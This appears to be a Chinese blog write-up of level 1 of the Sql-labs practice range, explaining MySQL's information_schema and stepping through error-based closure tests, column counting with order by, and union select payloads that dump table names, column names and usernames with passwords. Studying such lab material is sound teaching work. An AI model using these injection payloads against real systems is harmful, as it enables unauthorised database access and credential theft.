前言

我们在使用Sql-libs靶场进行Sql注入实验的时候,前提要求我们对mysql数据库结构要有一个大概的了解,因为mysql5.0以上的版本都会自带一个名为information_schema的数据库,这个数据库下面会有columns和tables两个表。
tables这个表的table_name字段下面包含了所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库,了解了这些后会对我们进行Sql注入的时候有很大的帮助。

一、Sql注入的原理是什么?

用户在访问web界面的时候,web程序对用户所输入的数据的合法性没有进行判断或者过滤不严格,攻击者可以利用这个漏洞,在web程序中将事先定义好的查询语句的结尾上插入额外的Sql语句,在管理员不知情的情况下实现非法操作,以此来欺骗数据库并查询自己所需要的信息,比如:用户的密码和账号等

二、Sql的注入过程

Sql-labs的第一关插图

1.Sql-lis第一关

判断是否存在sql注入?

1.提示我们输入id,输入?id=1,在数据库中查询到如下字段
Sql-labs的第一关插图(1)
2.通过输入的id的值不同,我们发现返回的内容会不同
Sql-labs的第一关插图(2)
3.判断注入的类型,是否为拼接,并且是字符型还是符号型
我们可以输入?id=1\,通过加 \ 的方式判断闭合,\后面的符号就是闭合符号,见页面出现错误,即位字符型
Sql-labs的第一关插图(3)
输入?id=1‘ 报错
Sql-labs的第一关插图(4)
在上述字段后加入–+,显示正常,说明是单引号 ’ 闭合
Sql-labs的第一关插图(5)
4.判断字段数
输入’ order by 3 –+,可见正常
输入’ order by 4–+ 报错,说明只有三个字段
Sql-labs的第一关插图(6)
Sql-labs的第一关插图(7)
5.联合查询7
因为字段数为3,所以使用 union select 1,2,3进行查询 ,判断回显点
Sql-labs的第一关插图(8)
我们可以将上述语句的2或者3改成database()来显示数据库名
Sql-labs的第一关插图(9)
6.联表查询,爆表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

Sql-labs的第一关插图(10)
7.爆字段名

union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

Sql-labs的第一关插图(11)
8.爆字段中的内容
根据上一步爆出的字段名usernmae,password进行查询即可

union select 1,2,group_concat(username,password) from users

Sql-labs的第一关插图(12)
至此第一关就结束了,第二关与第一关的步骤相同,不同的是第二关是数字型注入

总结

	Sql注入要求我们对数据库的结构要有一个大概的了解,这要就能更容易去操作!!!
本站无任何商业行为
个人在线分享 » Sql-labs的第一关
E-->